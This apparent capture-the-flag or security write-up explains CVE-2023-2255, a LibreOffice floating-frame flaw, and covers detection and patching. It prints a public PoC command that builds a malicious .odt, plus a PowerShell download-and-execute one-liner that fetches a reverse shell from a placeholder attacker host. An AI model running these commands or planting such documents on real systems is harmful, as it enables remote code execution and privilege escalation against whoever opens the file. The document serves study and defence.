Code execution in LibreOffice via floating frames (CVE-2023-2255)

CVE-2023-2255 is a vulnerability in LibreOffice (versions before 7.4.7 and 7.5.3) in the handling of floating frames (analogous to HTML iframes). A document can reference an external resource in a floating frame and, in the affected versions, LibreOffice loads it automatically when the document opens, with no confirmation. By embedding a script/macro as the frame's resource, opening the document runs code with the privileges of whoever opened it.

In an escalation scenario this is paired with a directory or share that a privileged user opens periodically (e.g. an Important Documents where files "vanish" because someone processes them). The most used PoC is elweth-sec/CVE-2023-2255, which injects an arbitrary command into an .odt:

python3 CVE-2023-2255.py --cmd 'cmd /c powershell -enc <BASE64>' --output exploit.odt

--cmd is usually a powershell -enc with a one-liner that downloads and runs a reverse shell. The payload is first encoded as UTF-16LE + base64 (what -enc expects):

echo -n "IEX (New-Object Net.WebClient).DownloadString('http://<attacker>/reverse.ps1')" \
  | iconv -t utf-16le | base64 -w 0

Drop the .odt in the path the victim opens, and when they do, the macro fires the connection: a shell with that user's privileges (on Mailing, localadmin).

How to detect it. The definitive signature is process lineage: soffice.bin/LibreOffice spawning powershell.exe/cmd.exe/sh as a child when opening a document (Event ID 4688 / Sysmon 1), something opening a legitimate .odt never does. On disk, an .odt/.docx containing a floating frame referencing an external resource (a URL or a script) is detectable by decompressing the file (it is a ZIP) and reviewing its XML. The vector usually relies on a folder a privileged user opens periodically: an outbound connection right after a document opens in that path is the chain.

Defence. Update to LibreOffice 7.4.7 / 7.5.3 or later (floating frames no longer self-update and require explicit interaction); distrust documents from untrusted sources.